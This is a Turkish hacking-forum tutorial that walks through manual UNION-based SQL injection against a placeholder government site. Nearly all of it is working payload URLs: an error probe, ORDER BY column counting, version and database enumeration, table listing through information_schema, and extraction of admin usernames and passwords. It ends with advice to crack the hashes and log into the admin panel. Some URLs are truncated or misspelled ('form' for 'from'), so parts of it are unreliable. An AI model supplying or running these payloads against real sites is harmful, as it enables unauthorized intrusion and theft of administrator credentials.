MANUEL SQL İNJECTİON





Sql İnjection
(Sql bir database(veritabanı) programlama dilidir. )


Sql ile yapılan kodlama hatalırından dolayı oluşan bir açıktır.
Sayfada Sql kodları çalıştırarak veri çekmeyi hedefleyen, sunucuya yönelik güvenlik açığıdır.
Birden bazla çeşidi bulunan geniş bir açıktır.
Günümüzde bir çok yerde hatta devlet sitelerinde bile Sql hatsına rastlamak mümkün.




Adım Adım Sql İnjection.

Not: Baz kod kısımlarındaki Url'lerin devamının alt satırda bulunması kod bölümünün düzeni ve okunurluk açısından yapılmıştır. Kod kısımlarındaki Url'ler bir bütündür.



1.(Açık varmı?)


İlk olarak Sql açığı arayacağımız site "kelime.asp?id=sayı" gibi değerler içiermelidir,
Sql İnjection saldırsı yapacağımız sitede Sql açığının olup olmadığını anlamak için sonuna "'"(tektırnak) koyulduğunda hata veriyorsa orada Sql açığının olduğunun bir göstergesidir. Bunu yapmak yerine "Safe3" veya "Acunetix" gibi programlar aracılığıylada Sql açığı olup olmadığını tarayabiliriz.

Kod:
http://ubermensch.gov/page.php?id=5'
Hata aldığımız varsayarak devam edelim.




2.(kolon sayısı)


Kolon, veritabanı tablosunun bi nevi sütunudur.
Kolon sayısını öğrenmek için "+order+by+sayı" kodunu kullanacağız.
Kolon sayısını bulabilmek için 20 gibi bir sayıdan başlatacağım siteden hata almayana kadar devam ettireceğim.(Kolon sayısı 20 den fazla da olabilir ama genel olarak 20 den az olduğu için 20 den başlatacağım.)

Kod:
http://ubermensch.gov/page.php?id=5+order+by+20
http://ubermensch.gov/page.php?id=5+order+by+17
http://ubermensch.gov/page.php?id=5+order+by+15
http://ubermensch.gov/page.php?id=5+order+by+10
http://ubermensch.gov/page.php?id=5+order+by+8
http://ubermensch.gov/page.php?id=5+order+by+7
"7" de hata almadığımızı varsayarak diyer adıma geçelim.




3.(Sayı Yansıtma)


Kolon sayısını öğrendik ama şimdi kolondan veri çekerken ki kullanacağımız sayıları ve ya sayıyı yansıtacağız bunu "+union+select+sayı,sayı..." koduyla yapacağız. Bu işlemi yaparken "id" ye bu sitede eş değeri olmyacak şekilde değer vermemiz gerekiyor bunu da bulunan değerin başına "-" koyarak sağlıyoruz.

Kod:
http://ubermensch.gov/page.php?id=-5...+0,1,2,3,4,5,6
veya
http://ubermensch.gov/page.php?id=-5...+1,2,3,4,5,6,7
Bu ikisninde de asıl amaç "+union+select+" in yanına kolon sayısı kadar sayı yazmak 0 dan veya 1 den başlamışşın pek fark etmez ama birinden sonuç alınmadığı zaman diğerini denenmelidir.
Ekrana sayı ve ya sayılar yansıyacaktır bu sayının "4" olduğunu varsayarak devam edelim.




4.(version())


"version()" 'u daha önceki işlem ile aldığımız sayının yerine yazalım ve version'u alalım.

Kod:
http://ubermensch.gov/page.php?id=-5...ersion(),5,6,7
Çıkan sayı küsüratlı olabilir biz sadece ilk basamağıyle ilgileneceğiz, çıkan sayını "5" olduğunu varsayarak devam edelim.




5.(database())


Şimdi database'nin adının ne olduğuna bakalım, 3. işlem aldığımız sayının yerine yine 4. işlemdeki gibi ama bu sefer "database()" yazarak devam edelim.

Kod:
http://ubermensch.gov/page.php?id=-5...ersion(),5,6,7
Ekranda veri tabanının ismi çıkacaktır. "nietzsche" çıktığını varsayarak devam ediyorum.




6.(hex(database))


Önceki adımda çıkan "nietzsche" ismini hex koduna çevirmemiz gerekiyor. (İnternet üzerinde bir çok hex koda çevirici bulunmaktadır.)
"nietzsche" nin hex kodu "6E6965747A73636865" dur. Bunu bir sonraki işlemde kullanacağız.





7.(Tablo Name(Tablo İsimleri))

Bu işlemi 3 alt başlıkta yapacağız


7.1- Şimdi daha önceki işlemlerde de kullandığımız ve 3. işlemde ekrana yansıyan sayı yerine bu sefer "group_concat(table_name)" kodunu yazacağız.

Kod:
http://ubermensch.gov/page.php?id=-5
+union+select+1,2,3,group_concat(table_name),5,6,7

7.2- En sona "+form+information_schema.tables+where+table_s chem a=" ekleyeceğiz.

Kod:
http://ubermensch.gov/page.phpid=-5+...cat(table_name)
,5,6,7+form+information_schema.tables+where+table_ schema=

7.3- Hex koduna çevirdiğimiz veritabanı ismini başına "0x" ekleyerak en sona yazacaz.

Kod:
http://ubermensch.gov/page.php?id=-5...cat(table_name)
,5,6,7+form+information_schema.tables+where+table_ schema=0x6E6965747A73636865
Ekrana tablo isimleri yansıyacaktır.






8.(Admin)


7.yapyığımız işlemle ekranda tablo adlarını var biz buradan işimize yarayanı çekeceğiz.(siz isterseniz hedef sitenizdeki diğer tabloları da inceleyebilirsiniz.)
Admin panele giriş yapabilmek için admin bilgilerine ihtiyacımız var.(Bunlar her tabloda farklı yerlerde konumlandırılmış olabilir siz admin bilgilerini verebilecek uygun tabloları sırayla deneyerek bu verilere ulaşabilirsiniz.)
Çıkan tablolardan birinin ismini "admin" var sayalım, yine "admin" kelimesini hex koduna çeviriyoruz ve tablonun sonuna "+and+table_name=" koyuyruz, bunu da sonuna "0x" ile admin'in hex kodu olan "61646D696E" ekliyoruz.

Kod:
http://ubermensch.gov/page.php?id=-5...cat(table_name)
,5,6,7+form+information_schema.tables+where+
table_schema=0x6E6965747A73636865+and+table_name=0 x61646D696E
Karşımıza admin tablosunda bulunan başlıklar çıkacaktır.




9.(user - password)


Admin tablosunun başlıkları arasında bizim admin panel girişte kullanacağımız değerleri çekmemiz gerekiyor bu başlıklar "user - password" varsayarak devam edelim.
Diğer işlemlerde de kullanıdığımız 3. işlemde ulaştığımız sayınya bu sefer başlık ismini yazacağız ve en sona "+from+tabloAdı" ekleyeceğiz
Kod:
http://ubermensch.gov/page.php?id=-5
+union+select+1,2,3,(password),5,6,7+from+admin
Admin panelin Password'una ulaşdık sıra "user"de.
Kod:
http://ubermensch.gov/page.php?id=-5...6,7+from+admin
Böylelikle admin panele giriş için gerekli olan bilgilere ulaşmış olduk.





Md5, Sha,...


Bazı siterde "password" direkt gözükebilir, bazı siteler de "Md5, Sha,..." gibi şifreleme yöntemleriyle şifrelenmiş olarak gözükebilir bu şifreleri kırmak gerekir.(https://hashes.com/en/decrypt/hash size yardımcı olabilir.)







Sql Dork Ve Login Sql Bypass'ı da anlattım onunla beraber bunu okumanız, öğrenmek ve öğrendiklerinizi uygulayabilmek açısından daha yararlı olacaktır:https://www.turkhackteam.org/web-ser...ml#post9291136